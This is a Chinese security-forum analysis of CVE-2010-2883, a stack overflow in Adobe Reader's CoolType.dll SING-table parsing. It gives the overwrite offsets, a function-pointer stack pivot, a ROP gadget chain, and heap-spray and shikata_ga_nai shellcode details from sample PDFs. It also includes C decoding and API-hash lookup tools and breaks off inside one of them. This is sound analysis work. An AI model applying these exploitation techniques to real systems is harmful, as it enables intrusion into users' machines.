[原创]CVE-2010-2883漏洞分析报告-二进制漏洞-看雪安全社区

分析这个漏洞的过程中发现，网上大部分相关文章对其栈结构的理解都有偏差——把 strcat 的写入起点当成了上一帧的 saved ebp。实际上漏洞函数是 FPO 变体帧：写入起点是本帧局部变量区，往上 +0x104 是 /GS cookie、+0x108 才是 saved ebp、+0x10C 是返回地址。栈结构认错，后面的利用方式就讲不通。本文按动态调试验证后的真实布局，把成因、利用方法和三个在野样本的完整分析过程重新梳理了一遍，欢迎指正。
## 1. CoolType.dll 漏洞产生原因

### 1.1 开局：只有一行线索

课程给的全部信息是：`CoolType.dll .text:0803DCA4 call strcat`，环境 Windows 7 + Adobe Reader 9.3.0。拿到线索先做验证：x32dbg 附加 AcroRd32.exe，用 Reader 打开一个 PDF 让 CoolType.dll 加载进来，跳转 `CoolType+3DCA4`——断点处指令字节 `E8 BF3B1300` 与给定完全一致，版本对上。

![图片描述](upload/attach/202610/1036721_NMCBVJ38ZDCGYTY.webp)

（多次运行 CoolType.dll 的基址都不同，本文统一用 `CoolType+偏移` 表示地址。）

### 1.2 这个 call 在干什么

把断点前后的代码补全，逐句翻译：

```
CoolType+3DC6D  push "SING"                ; 在字体文件里找一张叫 SING 的表
CoolType+3DC76  call CoolType+41ABE        ; （SING：Adobe 私有表，存字体的"独特名字"）
CoolType+3DC88  and ecx, 0xFFFF            ; 检查 SING 表版本号，合法才继续
CoolType+3DC98  add eax, 0x10              ; 取 SING 表 +0x10，即 uniqueName 字段（"名字"本体）
CoolType+3DC9B  push eax                   ; 把它作为 strcat 的源串
CoolType+3DC9C  lea eax, [ebp]
CoolType+3DC9F  push eax                   ; strcat 的目的地
CoolType+3DCA0  mov byte [ebp], 0
CoolType+3DCA4  call strcat                ; 把"名字"拼接到目的地
```

strcat 逐字节从源串拷贝到目的地，直到遇到 00 结束符才停，不检查目的缓冲区容量——拷贝长度完全由源串决定。

### 1.3 关键问题：目的地是哪

cdecl 调用约定参数从右往左压栈，所以最后压入的 `lea eax,[ebp]` 才是第一个参数（目的地）——**目的地就是 ebp 本身**。F7 步进 strcat，看栈：

![图片描述](upload/attach/202610/1036721_RWK4Q87UXMKSMMA.webp)

进入函数后 call 已把返回地址压栈，此时 `[esp]` = 返回地址，`[esp+4]` = 第一个参数 dest = 0x0031D930，`[esp+8]` = 第二个参数 src = 0x071EF4AC（字体文件映射区）。跟随 dest 到内存窗口：

![图片描述](upload/attach/202610/1036721_Z3VNV64S62U6VH6.webp)

dest 处现存的值 0x0031D900 只是局部变量的残留（碰巧像个栈地址）。真正的布局要看帧结构：这个函数是 FPO 变体帧，ebp 不指帧底、指向局部变量区——**写入起点是本帧局部变量**，往上 +0x104 是 /GS cookie、+0x108 是 saved ebp、+0x10C 是返回地址。strcat 从这里往高地址写，依次碾过局部变量、cookie、saved ebp、返回地址，直到调用者各帧。

所以覆盖路径是明确的：前 0x104 字节碾本帧局部变量，接着依次是 cookie、saved ebp、返回地址——这些位置第 2 章会逐个用到。

### 1.4 让它真的溢出来

用 Reader 打开 msf.pdf（一个已知会触发漏洞的样本），断下后先看源串：src 指向字体数据，向下翻几千字节都找不到 00 结束符——这个"名字"根本没打算结束。TTF 规范里 uniqueName 上限 28 字节，但 strcat 不读规范。

F8 步过 strcat，栈变成这样：

![图片描述](upload/attach/202610/1036721_R424DKY7TNM3FZ2.webp)

saved ebp、返回地址等区域已被字体数据覆盖

### 1.5 成因总结

栈溢出成立，三要素缺一不可：

1. **拷贝函数不知道节制**：strcat 没有长度参数，写多少由源串里 00 的位置决定（安全写法 strncat 多一个长度参数，此处未用）；
2. **源串攻击者可控**：uniqueName 直接取自字体文件，长度、内容任写；
3. **目的地直指帧命门**：dest = ebp（本帧局部变量区起点），向上 0x104 字节起依次是 cookie、saved ebp、返回地址，全程无缓冲。

总结：漏洞位于 CoolType.dll 解析 SING 表的代码中：`strcat(dest=ebp, src=uniqueName)`。dest 位于帧内敏感区（上方 0x104 起依次是 cookie/saved ebp/返回地址）、src 完全来自字体文件且无长度检查——溢出路径上没有一道关卡，栈溢出必然发生。

---

## 2. 漏洞利用方法

要分析这个漏洞的利用方法，我们首先要分析它的栈结构，找到返回地址的位置。然而当我们实际去分析漏洞所在的函数时，发现函数开头不是我们熟悉的 `push ebp; mov ebp, esp`：

![图片描述](upload/attach/202610/1036721_PUSWA5KTP77H4QC.webp)

### 2.1 帧布局：返回地址在哪

反而是这个——设 call 进来时 esp = S（[S] 即返回地址）：

```
push ebp            ; esp = S-4，[S-4] = saved ebp
sub  esp, 104h      ; esp = S-0x108
lea  ebp, [esp-4]   ; ebp = S-0x10C ← 这个函数的 ebp 在这
```

返回地址的位置在 ebp+0x10C。更糟糕的是：

![图片描述](upload/attach/202610/1036721_3KZZCYYX5UH4PFD.webp)

### 2.2 /GS：返回地址不可用

我们看到了 cookie——它开了 /GS。这意味着虽然我们可以覆盖返回地址，但是 cookie 的检测在返回地址之前（cookie 在 ebp+0x104，先于返回地址被溢出覆盖，函数返回前 `__security_check_cookie` 必炸），完全不可用。

我们继续看这个函数：

![图片描述](upload/attach/202610/1036721_YQUXRSP35X5BQWZ.webp)

### 2.3 SEH 为什么也走不通

这里的 catch 暴露了这个函数是 C++ EH：栈上注册节点里的 handler 是运行时固定的 `__CxxFrameHandler3`，catch 块地址在 **.rdata** 的表里（图上 `DATA XREF: .rdata:stru_82097C8`），溢出改不到；并且 DLL 有 SafeSEH 的话 handler 还要过校验；就算触发 GS 失败，`__report_gsfailure` 也故意绕开栈上 SEH 链。所以触发异常走 SEH 链这条路根本不通。

并且我们看完完整函数，没找到 C++ 对象的虚表。所以可以得到结论：唯一的出路就是动态调试挨着看间接调用，寻找合适的函数指针。

### 2.4 唯一出路：函数指针覆盖

所以得到结论：这个漏洞的唯一利用方法就是找一个可用的函数指针——在 GS 校验执行之前被调用的那种。最终动态调试定位到：后续解析代码中的一条 `call [eax]`（CoolType 内，GS 校验之前执行），eax 指向溢出区 buf+0x1F8 处的函数指针槽。具体过程见第三章。

---

## 3. ROP 链还原

### 3.1 三个样本共用一套 ROP

3 个样本分析下来我们发现，除了另一个版本的 ROP 链，其实三个样本都沿用一套 ROP 链。我们写一个工具去把 ROP 的地址转换成代码（rop_carve：拿链上 gadget 地址去 icucnv36.dll 里抠机器码，垫 int3 隔断拼成 bin）。

### 3.2 gadget 还原：四种单元拼出四个 API

用它提取出 ROP 对应的机器码，在 IDA 里面反编译去掉噪音如下：

```
pop ecx ; ret  
mov dword ptr [ecx], eax ; ret  
pop eax ; ret  
jmp dword ptr [eax]  
ret  
pop ecx ; ret  
ret  
xchg eax, edi ; ret  
pop ebx ; ret  
and dword ptr [esp+ebx*2], edi ; jnz 0x4A80A8AE ; mov al, 1 ; ret  
pop eax ; ret  
jmp dword ptr [eax]  
ret  
pop ecx ; ret  
ret  
xchg eax, edi ; ret  
pop ebx ; ret  
and dword ptr [esp+ebx*2], edi ; jnz 0x4A80A8AE ; mov al, 1 ; ret  
pop eax ; ret  
jmp dword ptr [eax]  
ret  
pop ecx ; ret  
mov dword ptr [ecx], eax ; ret  
pop ecx ; ret  
ret  
xchg eax, edi ; ret  
pop ebx ; ret  
and dword ptr [esp+ebx*2], edi ; jnz 0x4A80A8AE ; mov al, 1 ; ret  
pop eax ; ret  
mov eax, dword ptr [eax] ; ret  
pop ecx ; ret  
ret  
xchg eax, edi ; ret  
pop ebx ; ret  
and dword ptr [esp+ebx*2], edi ; jnz 0x4A80A8AE ; mov al, 1 ; ret  
pop ecx ; ret  
ret  
lea edx, [esp+0xC] ; push edx ; push eax ; push dword ptr [esp+0xC] ; push dword ptr [0x4A8A093C] ; call ecx ; add esp, 0x10 ; ret  
pop eax ; ret  
add eax, edx ; ret  
pop ecx ; ret  
ret  
xchg eax, edi ; ret  
pop ebx ; ret  
and dword ptr [esp+ebx*2], edi ; jnz 0x4A80A8AE ; mov al, 1 ; ret  
pop eax ; ret  
jmp dword ptr [eax]
```

注意它每次调 api 都是先 `pop eax`、`jmp dword ptr [eax]`——拿着 eax 的值（IAT 槽地址），IDA 打开 icucnv36.dll，按 G 输入，得到对应的函数名。翻译成 C：

```c
CreateFileA("iso88591", GENERIC_ALL, 0, 0, CREATE_ALWAYS, 0x102临时|隐藏, 0)
CreateFileMappingA(hFile, 0, 0x40 RWX, 0, 0x10000, 0)
MapViewOfFile(hMapping, 0x22 写|执行, 0, 0, 0x10000)
memcpy(基址, shellcode, 0x1000)
```

执行完 ret，**直接弹进基址里的 shellcode**（memcpy 的"返回地址"在链上被修补成基址，ret 即落地）。整条链就是四种单元循环：存返回值（pop ecx / mov [ecx],eax）、调 API（pop eax=IAT / jmp [eax]，裸 ret 当落地垫）、修补占位符（xchg eax,edi / pop ebx=N / and [esp+ebx*2],edi，把运行时句柄写进链上的 0xFFFFFFFF 占位）、计算 memcpy 源地址（lea/add）。

### 3.3 覆盖布局：41 填充里的几个特殊 dword

但是当我们实际去调试的时候发现：

![图片描述](upload/attach/202610/1036721_9KG68QAZ4USDGFG.webp)

![图片描述](upload/attach/202610/1036721_VJ457KZ8EWU8TE9.webp)

函数指针槽这个位置单独细看：

![图片描述](upload/attach/202610/1036721_786B69DHBXUQGYN.webp)

这个 ROP 从 buf 一直填充到 buf+0x238 左右才停，可以看到大部分地方都是填充了 414141，只有少数几个地方填充了地址：

![图片描述](upload/attach/202610/1036721_F9NKW4XVDBAY2YM.webp)

![图片描述](upload/attach/202610/1036721_XYBZM7M8KEYKJ42.webp)

```
偏移    地址        值
0x08    0049D4A0    4A82A714
+0x0C   0049D4A4    0C0C0C0C
+0x130  0049D5C8    4A8A08C6
+0x1F8  0049D690    4A80CB38
```

我们可以大胆推测：可以看到 130 和 1f8 处是两个指针，1f8 位置的地址是**函数指针**（代码区 gadget），130 的地址指向的是数据区——只有 1f8 是代码区。+0x130 填合法可读指针的作用是"保命"：从 strcat 到 call [eax] 之间解析代码还会读这个结构体的其他字段，如果是 41414141 一解引用就崩，走不到调用点。另外 buf+0x27C 处的原始数据完好，说明覆盖边界就在 0x238 附近。

### 3.4 动态跟踪：pivot 链

继续在 4A80CB38 处下断点一直 F7 步进：

![图片描述](upload/attach/202610/1036721_RJP3T92BGTHXKEU.webp)

![图片描述](upload/attach/202610/1036721_RNVASAXQ2MDKJJ7.webp)

![图片描述](upload/attach/202610/1036721_PQ8Y8CVNKKYNA3D.webp)

![图片描述](upload/attach/202610/1036721_CF5N8VWCBTZY3G5.webp)

![图片描述](upload/attach/202610/1036721_8MWU5FJTD6UMUQU.webp)

![图片描述](upload/attach/202610/1036721_JVKJRBX6TDH2QCC.webp)

![图片描述](upload/attach/202610/1036721_SAT4EZZNHZ9C5KB.webp)

可以看到一开始是先跳转到 **4A80CB38（pivot1）**：

```
add ebp, 0x794     ; ebp 原来是 0049CD08（调用方的帧指针）
                   ; 0049CD08 + 0x794 = 0049D49C = buf+4
leave              ; = mov esp,ebp → esp = 0049D49C
                   ;   pop ebp     → ebp = [0049D49C] = 填充垃圾（buf+4 那个 dword）
                   ;   esp = 0049D4A0
ret                ; EIP = [0049D4A0] = 4A82A714  ← buf+8 上岗
                   ; esp = 0049D4A4
```

然后 **4A82A714（pivot2）**：

```
pop esp            ; esp = [0049D4A4] = 0C0C0C0C   ← buf+0xC 上岗
ret                ; EIP = [0C0C0C0C] = 4A8063A5（堆喷区第一个 gadget）
```

之后**堆喷区（0x0C0C0C0C）**：

```
pop ecx; ret        ; ecx = [0C0C0C0C] = 4A8A0000，esp = 0C0C0C10
mov [ecx],eax; ret  ; 暂存 eax
pop eax; ret        ; eax = IAT 槽
jmp [eax]           ; → CreateFileA
... 链跑完，memcpy 落地 shellcode
```

再往后就是 3.2 还原的 ROP 链了。

### 3.5 完整流程串联

![图片描述](upload/attach/202610/1036721_FRCGGMGBQFRJTSZ.webp)

可以看到：先是通过覆盖这个函数指针，这样解析代码执行 `call [eax]` 时，eax = 0049D690（buf+0x1F8），[eax] = 4A80CB38。call 压入返回地址，EIP = 4A80CB38。

它先是把 ebp 定位到 buf+4 的位置，然后 leave——这样 esp 就是 0049D4A0 了，内容是 4A82A714；然后它 ret 过去，直接 pop esp——相当于把栈顶里的值变成新栈顶；再 ret 从 0x0C0C0C0C 弹出第一个 gadget 地址 4A8063A5，链正式开始。全程：

```
call [eax]（CoolType，GS 校验之前）
  → 4A80CB38: add ebp,0x794; leave; ret   （消耗 buf+4，ret 弹 buf+8）
  → 4A82A714: pop esp; ret                （esp = buf+0xC 的值 0x0C0C0C0C）
  → 堆喷区 ROP 链 → RWX 映射 → shellcode
```

### 3.6 堆喷：0x0C0C0C0C 从哪来

那么为什么是 0C0C0C0C，里面的内容又为什么是 ROP 呢？答案在 PDF 的 JS 脚本里面：

![图片描述](upload/attach/202610/1036721_BY89YXSHTACE43T.webp)

它循环申请大量内存（每块约 1MB、共 512 块，几百 MB），确保 0C0C0C0C 被覆盖到；喷的时候块里就带着 ROP 链，垫片长度（`(0x0c0c-0x24)/2`，补偿堆块头）算好了让链头正好落在 0C0C0C0C。有趣的是其实 0D0D0D0D 也可以——作者是在赌申请了那么多内存肯定会命中 0C0C0C0C。

---

## 4. msf.pdf 样本功能

### 4.1 文档结构

PDFStreamDumper 加载 msf.pdf，共 15 个对象。obj 1（Catalog）中 `/OpenAction 11 0 R`——打开文档自动执行 obj 11：

![图片描述](upload/attach/202610/1036721_8QJSXH62QDJZMMF.webp)

obj 11 为 `/Type/Action/S/JavaScript/JS 12 0 R`，即自动执行的是 obj 12 中的 JavaScript：

![图片描述](upload/attach/202610/1036721_8MPMQQU67KYPJVM.webp)

顺引用链追到 obj 12：

![图片描述](upload/attach/202610/1036721_HK4VXKV7QWF58V6.webp)

大量 `%uXXXX` 文本，开头 `%u4141%u4141%u63a5%u4a80` 与动态调试时栈上看到的 `41414141`、gadget 地址 `4A8063A5`（小端）一致，可确认这就是有效载荷（ROP 链 + shellcode）的编码文本。需要写工具把它转换为二进制：跳过引号、加号等无关字符，每个 `%uXXXX` 按小端转为 2 字节。

```c
// decode.c v3 - JS 字符串解码（支持 %uXXXX、\uXXXX、\xNN、+ 拼接）
#include <stdio.h>
#include <stdlib.h>

static int hexval(int c) {
    if (c >= '0' && c <= '9') return c - '0';
    if (c >= 'a' && c <= 'f') return c - 'a' + 10;
    if (c >= 'A' && c <= 'F') return c - 'A' + 10;
    return -1;
}

int main(int argc, char **argv) {
    if (argc != 3) { printf("usage: %s <input.txt> <output.bin>\n", argv[0]); return 1; }

FILE *fi = fopen(argv[1], "rb");
    if (!fi) { perror("open input"); return 1; }
    fseek(fi, 0, SEEK_END);
    long size = ftell(fi);
    fseek(fi, 0, SEEK_SET);
    char *buf = (char *)malloc(size + 1);
    fread(buf, 1, size, fi);
    fclose(fi);

// pass1: \xNN -> 字节
    long n = 0;
    for (long i = 0; i < size; i++) {
        if (buf[i] == '\\' && buf[i+1] == 'x' && i + 3 < size
            && hexval(buf[i+2]) >= 0 && hexval(buf[i+3]) >= 0) {
            buf[n++] = (char)((hexval(buf[i+2]) << 4) | hexval(buf[i+3]));
            i += 3;
        } else {
            buf[n++] = buf[i];
        }
    }

// pass2: %uXXXX 或 \uXXXX -> 2 字节小端
    FILE *fo = fopen(argv[2], "wb");
    if (!fo) { perror("open output"); free(buf); return 1; }
    long count = 0;
    for (long i = 0; i + 6 <= n; ) {
        if ((buf[i] == '%' || buf[i] == '\\') && buf[i+1] == 'u') {
            int h0 = hexval(buf[i+2]), h1 = hexval(buf[i+3]);
            int h2 = hexval(buf[i+4]), h3 = hexval(buf[i+5]);
            if (h0 >= 0 && h1 >= 0 && h2 >= 0 && h3 >= 0) {
                unsigned v = ((unsigned)h0 << 12) | ((unsigned)h1 << 8) | ((unsigned)h2 << 4) | (unsigned)h3;
                fputc(v & 0xFF, fo);
                fputc((v >> 8) & 0xFF, fo);
                count++;
                i += 6;
                continue;
            }
        }
        i++;
    }
    fclose(fo);
    free(buf);
    printf("%ld units -> %ld bytes\n", count, count * 2);
    return 0;
}
```

### 4.2 定位代码起点

用 IDA 查看转换后的二进制（binary 方式加载，metapc 处理器）：

![图片描述](upload/attach/202610/1036721_FDX8ANUCHMUCT8T.webp)

0x00 起是连续的 4A80xxxx dword（同一 DLL 地址段，只能是地址表），0x13C 处中断，变为 0xFFFFFFFF×3 + 0x1000（不可能是地址的值，是 memcpy 的参数占位与长度），0x14C 起变为 `D9 CF BF 8D` 这类无规律字节。据此猜测：0x00～0x14B 是 ROP 链数据，0x14C 起是代码。

验证：全选按 U 取消定义 → 0x00～0x14B 按 D 定义为 dword（可按 * 转数组）→ 0x14C 按 C 反汇编：

![图片描述](upload/attach/202610/1036721_FCPRMW5TFX37V9X.webp)

0x14C 起是连贯的 fxch / mov edi / fnstenv / pop / xor / add 指令序列，猜测成立。

### 4.3 shikata 解码器

0x14C 起是 shikata_ga_nai 编码器的 stub：

```
fxch st(7)                  ; FPU 埋点：下一条 fnstenv 将泄露此指令地址
mov edi, 0xB0C68A8D         ; 初始密钥
fnstenv [esp-0xC]           ; FPU 环境存入栈，FIP 恰落在栈顶
pop eax                     ; eax = fxch 地址（位置无关取址）
sub ecx,ecx 
mov cl,0x49                 ; 73 轮
循环体:
  sub eax, -4               ; eax += 4
  xor [eax+15h], edi        ; 明文 = 密文 ^ 密钥
  add edi, [eax+15h]        ; 密钥滚动：key += 明文
```

特点有二：+0x15 使首个解码目标恰好跳过解码器自身；**循环开关 loop 指令本身也在密文里**（0x165 处），必须先在寄存器里跑完一轮解码，loop 才会出现——所以静态看到的循环体是不完整的，不解码无法开始循环。

写解码器把这段汇编翻译成 C：

```c
// shikata_decode.c - shikata_ga_nai 链式密钥 XOR 解码器
// 算法: 定位 fnstenv 签名 -> 读初始密钥(mov edi,imm)和轮数(mov cl,N)
//       从 stub+0x19 起逐 dword: plain = cipher ^ key; key += plain
// 用法: shikata_decode.exe <payload.bin> <out.bin>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

static uint32_t rd32(const unsigned char *p) {
    return (uint32_t)p[0] | ((uint32_t)p[1] << 8) | ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24);
}
static void wr32(unsigned char *p, uint32_t v) {
    p[0] = v & 0xFF; p[1] = (v >> 8) & 0xFF; p[2] = (v >> 16) & 0xFF; p[3] = (v >> 24) & 0xFF;
}

int main(int argc, char **argv) {
    if (argc != 3) { printf("usage: %s <payload.bin> <out.bin>\n", argv[0]); return 1; }

FILE *f = fopen(argv[1], "rb");
    if (!f) { perror("input"); return 1; }
    fseek(f, 0, SEEK_END);
    long sz = ftell(f);
    fseek(f, 0, SEEK_SET);
    unsigned char *buf = (unsigned char *)malloc(sz);
    fread(buf, 1, sz, f);
    fclose(f);

// 1. 找 fnstenv [esp-0xC] 签名: D9 74 24 F4
    long sig = -1;
    for (long i = 0; i + 4 <= sz; i++)
        if (buf[i] == 0xD9 && buf[i+1] == 0x74 && buf[i+2] == 0x24 && buf[i+3] == 0xF4) { sig = i; break; }
    if (sig < 0) { printf("fnstenv signature not found\n"); free(buf); return 1; }

// 2. stub 布局: fxch(2) mov edi,imm(5) fnstenv(4) pop(1) sub ecx,ecx(2) mov cl,N(2) ...
    long stub = sig - 7;                  // fxch 的位置 = 解码器起点
    uint32_t key = rd32(buf + stub + 3);  // mov edi 的立即数 = 初始密钥
    unsigned count = buf[stub + 0xF];     // mov cl, N 的 N = 解码轮数(dword 数)
    long data = stub + 0x19;              // 密文起点(解码器身体之后)

printf("stub=0x%lx  key=0x%08X  count=%u  data=0x%lx\n", stub, key, count, data);

// 3. 链式解码
    for (unsigned i = 0; i < count && data + (long)i * 4 + 4 <= sz; i++) {
        uint32_t cipher = rd32(buf + data + i * 4);
        uint32_t plain = cipher ^ key;
        wr32(buf + data + i * 4, plain);
        key += plain;
    }

FILE *o = fopen(argv[2], "wb");
    fwrite(buf, 1, sz, o);
    fclose(o);
    free(buf);
    printf("decoded -> %s\n", argv[2]);
    return 0;
}
```

运行输出 `stub=0x14c key=0xB0C68A8D count=73 data=0x165`，与手工分析的值一一对应。解码后再进 IDA：

![图片描述](upload/attach/202610/1036721_D3QNKGAJBHY46X8.webp)

解码成功：loop 指令现身，其后是完整的明文 shellcode。

### 4.4 shellcode 功能分析

解码后 shellcode 全部为明文，逐段分析。整体布局：0x14C～0x165 为解码器（4.3 已分析）；0x167 起为明文代码；0x16D～0x1F4 实际是一个"API 哈希解析器"子函数；sub_1F6（0x1F6～0x288）是主逻辑。

#### 4.4.1 交棒机关：call sub_1F6

![图片描述](upload/attach/202610/1036721_KBZE5TRFG8WZGGA.webp)

0x168 `call sub_1F6` 跳到 0x1F6，而 sub_1F6 第一句是 `pop ebp`——call 压入的返回地址 0x16D 被它第一时间收入 ebp。之后 sub_1F6 每次要调系统 API 都是 `push 参数...; push 哈希值; call ebp`。也就是说 **0x16D～0x1F4 这段代码整体是一个函数**：输入一个哈希，返回对应 API 地址。它被安排在 call 的返回地址上，借 call 指令顺带完成自我定位，省掉了手工算地址的代码。

#### 4.4.2 解析器：摸进模块链表

![图片描述](upload/attach/202610/1036721_RZMHRHT5WUUGXKW.webp)

`pusha` 把 8 个通用寄存器全部压栈（32 字节），`mov ebp, esp` 指向保存现场。此后 `[ebp+24h]` 越过 32 字节现场和 4 字节返回地址，恰好是调用方 push 进来的目标哈希值——解析器从这里取输入。

接着是 PEB 三连：

```
xor  edx, edx
mov  edx, fs:[edx+30h]   ; PEB
mov  edx, [edx+0Ch]      ; PEB->Ldr
mov  edx, [edx+14h]      ; Ldr->InMemoryOrderModuleList 的 Flink
```

走完 edx 指向链表中第一个 LDR_DATA_TABLE_ENTRY。

loc_17C 起算模块名哈希：`esi = [edx+28h]` 是模块名（BaseDllName）字符串缓冲区，`ecx = [edx+26h]` 是名称的 MaximumLength（字节数）。注意用的是 MaximumLength 而非 Length，包含结尾的宽字符终止符——终止符的 00 也参与哈希，配方必须和生产端一致。循环体就是 ror13 哈希：

- `lodsb` 取一字节进 al，esi 自动 +1；
- `cmp al,61h / jl / sub al,20h`：字符 ≥ 'a' 则减 0x20 统一转大写——系统里 DLL 文件名大小写不固定（kernel32.dll / KERNEL32.DLL 都见过），生产端预先按大写算，才能对上；
- `ror edi, 0Dh`：累计值循环右移 13 位；
- `add edi, eax`：加上当前字符。

即 **hash = ror13(hash) + 字符，逐字节滚动**。循环结束后 `push edx`（保存表项指针，换模块要用）、`push edi`（保存模块名哈希，后面与函数名哈希合并）。

#### 4.4.3 解析器：翻导出表、合并比对

![图片描述](upload/attach/202610/1036721_7PAQ6GFFH27PSS7.webp)

纯 PE 结构走位：`edx = [edx+10h]`（表项→DllBase）→ `[+0x3C]` 拿 e_lfanew → NT 头 → `[+0x78]` 数据目录[0] = 导出表 RVA。`test eax,eax; jz loc_1F0` 防的是没有导出表的模块（如 exe 自身），直接换模块。导出表存在则 `push eax` 存地址，`ecx = NumberOfNames`，`ebx = AddressOfNames + 基址`。

loc_1B1 从最后一个名字倒序遍历，对每个函数名跑同一套 ror13。结束判断 `cmp al, ah; jnz`——ah 恒为 0（`xor eax,eax` 清的，lodsb 只写 al），意思是**先 ror+add 后判停**，函数名的 \0 也参与一轮哈希。

函数名哈希算完 `add edi, [ebp-8]`，把 4.4.2 存的模块名哈希加进来：**合并哈希 = hash(函数名) + hash(模块名大写)**，再 `cmp edi, [ebp+24h]` 与目标比对。合并的目的是防止不同 DLL 的同名导出函数误命中，同时省掉"先确认模块再确认函数"的两步流程，一次比对定结果；不中则翻下一个名字。

#### 4.4.4 解析器：命中换地址、无痕迹跳转

![图片描述](upload/attach/202610/1036721_CM62HACHTVE2634.webp)

命中后是导出表三数组的经典配合：**名字下标 ecx → 序号表（AddressOfNameOrdinals，word 数组）查序号 → 地址表（AddressOfFunctions，dword 数组）查函数 RVA → 加基址得函数 VA**。ecx 全程未动，所以既是名字下标又能直接索引序号表。

收尾几步：

- `mov [esp+24h], eax`：此刻栈顶是之前 push 的 edx/edi 两个暂存 dword，往下 8 字节即 pusha 的 32 字节现场，esp+24h 恰好是现场中 **eax 的槽位**（pusha 按 eax→…→edi 顺序压栈，eax 地址最高）——这是给 popa 预埋的返回值；
- 两个 `pop ebx`：丢弃暂存的表项指针和模块名哈希；
- `popa`：现场恢复，eax 弹出时就是函数地址；
- `pop ecx / pop edx / push ecx`：popa 后栈顶依次是返回地址、哈希参数、API 实参。`pop ecx` 把栈顶的返回地址接进 ecx（即主逻辑 `call ebp` 时 CPU 压入的、call ebp 下一条指令的地址——后面 push ecx 的 ecx 就来自这一条）；`pop edx` 把哈希参数吃掉丢弃；`push ecx` 再把返回地址压回栈顶。三条净效果 = 清掉 4 字节哈希参数、栈顶恢复为返回地址，等价于手工展开的 `ret 4`。不能省成直接 `jmp eax`：哈希还压在返回地址上面，API ret 时会弹错地址；
- `jmp eax`：直接进入目标 API——API 执行完 ret 时用的是栈顶那个返回地址，**直接返回主逻辑 call ebp 的下一条指令**，解析器自身从调用链中消失。

#### 4.4.5 解析器：换模块

![图片描述](upload/attach/202610/1036721_9CU5E9NSTR8YBR8.webp)

两个入口：`loc_1EF` 是 loc_1B1 处 `jecxz` 跳来的（名字翻完没中，多 `pop eax` 一次丢弃导出表地址）；`loc_1F0` 是 0x1A4 跳来的（模块没有导出表）。汇合后：栈还原 → `mov edx, [edx]` 沿 Flink 前进一格 → `jmp loc_17C` 重新算。没有遍历完的退出判断——链表是循环的，哈希永不命中就是死循环，但 kernel32 一定在链表里，作者赌它必中。

#### 4.4.6 哈希反查

主逻辑里 7 个 `push 哈希值` 需要翻译成 API 名。写个彩虹表工具：遍历 SysWOW64 下全部 DLL 的导出表，按 shellcode 同一配方（ror13、模块名大写、终止符参与、模块+函数合并）预计算所有"模块,函数"的哈希存成 rainbow.csv；反查就是查表。

```c
// rainbow.c - ror13 API 哈希彩虹表生成器 + 反查工具
// 生成: rainbow.exe build [DLL目录]   -> 遍历目录下 *.dll 导出表, 生成 rainbow.csv (默认 %WINDIR%\SysWOW64)
// 反查: rainbow.exe 0726774C ...      -> 在 rainbow.csv 里查 hash 对应的 模块,函数
//
// 哈希规则(与 Metasploit/shellcode 完全一致):
//   模块名: UTF-16LE + 大写化 + 结尾 00 00; 函数名: ASCII + 结尾 00; 合并 = (M+F) mod 2^32
#include <stdio.h>
#include <string.h>
#include <windows.h>

static unsigned ror13(unsigned v) { return (v >> 13) | (v << 19); }

static unsigned mod_hash(const char* s) {          // UNICODE大写 + 00 00
    unsigned h = 0;
    for (; *s; s++) {
        unsigned char c = (unsigned char)*s;
        if (c >= 0x61) c -= 0x20;
        h = ror13(h) + c;
        h = ror13(h) + 0;
    }
    h = ror13(h) + 0;
    h = ror13(h) + 0;
    return h;
}

static unsigned func_hash(const char* s) {         // ASCII + 结尾 00
    unsigned h = 0;
    for (; *s; s++) h = ror13(h) + (unsigned char)*s;
    h = ror13(h) + 0;
    return h;
}

// RVA -> 文件偏移: 遍历节表找落在哪个节里 (内存对齐≠文件对齐, 必须换算)
static unsigned char* rva2ptr(unsigned char* base, IMAGE_NT_HEADERS32* nt, unsigned rva) {
    IMAGE_SECTION_HEADER* sh = IMAGE_FIRST_SECTION(nt);
    for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
        unsigned start = sh[i].VirtualAddress;
        unsigned span = sh[i].Misc.VirtualSize > sh[i].SizeOfRawData ? sh[i].Misc.VirtualSize : sh[i].SizeOfRawData;
        if (rva >= start && rva < start + span)
            return base + sh[i].PointerToRawData + (rva - start);
    }
    return NULL;
}

static void process_dll(const char* path, const char* dllname, FILE* out) {
    HANDLE hf = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (hf == INVALID_HANDLE_VALUE) return;
    HANDLE hm = CreateFileMappingA(hf, NULL, PAGE_READONLY, 0, 0, NULL);
    if (!hm) { CloseHandle(hf); return; }
    unsigned char* base = MapViewOfFile(hm, FILE_MAP_READ, 0, 0, 0);
    if (!base) { CloseHandle(hm); CloseHandle(hf); return; }

IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
    if (dos->e_magic == IMAGE_DOS_SIGNATURE) {
        IMAGE_NT_HEADERS32* nt = (IMAGE_NT_HEADERS32*)(base + dos->e_lfanew);
        if (nt->Signature == IMAGE_NT_SIGNATURE && nt->FileHeader.Machine == IMAGE_FILE_MACHINE_I386) {
            unsigned erva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
            IMAGE_EXPORT_DIRECTORY* ed = erva ? (IMAGE_EXPORT_DIRECTORY*)rva2ptr(base, nt, erva) : NULL;
            if (ed) {
                unsigned* names = (unsigned*)rva2ptr(base, nt, ed->AddressOfNames);
                unsigned mh = mod_hash(dllname);
                for (unsigned i = 0; i < ed->NumberOfNames && names; i++) {
                    char* fn = (char*)rva2ptr(base, nt, names[i]);
                    if (fn && fn[0])
                        fprintf(out, "0x%08X,%s,%s\n", mh + func_hash(fn), dllname, fn);
                }
            }
        }
    }
    UnmapViewOfFile(base);
    CloseHandle(hm);
    CloseHandle(hf);
}

static int build(const char* dir) {
    char pattern[MAX_PATH];
    sprintf(pattern, "%s\\*.dll", dir);

FILE* out = fopen("rainbow.csv", "w");
    if (!out) { perror("rainbow.csv"); return 1; }

WIN32_FIND_DATAA fd;
    HANDLE h = FindFirstFileA(pattern, &fd);
    int n = 0;
    if (h != INVALID_HANDLE_VALUE) {
        do {
            char path[MAX_PATH];
            sprintf(path, "%s\\%s", dir, fd.cFileName);
            process_dll(path, fd.cFileName, out);
            if (++n % 100 == 0) printf("... %d dlls\n", n);
        } while (FindNextFileA(h, &fd));
        FindClose(h);
    }
    fclose(out);
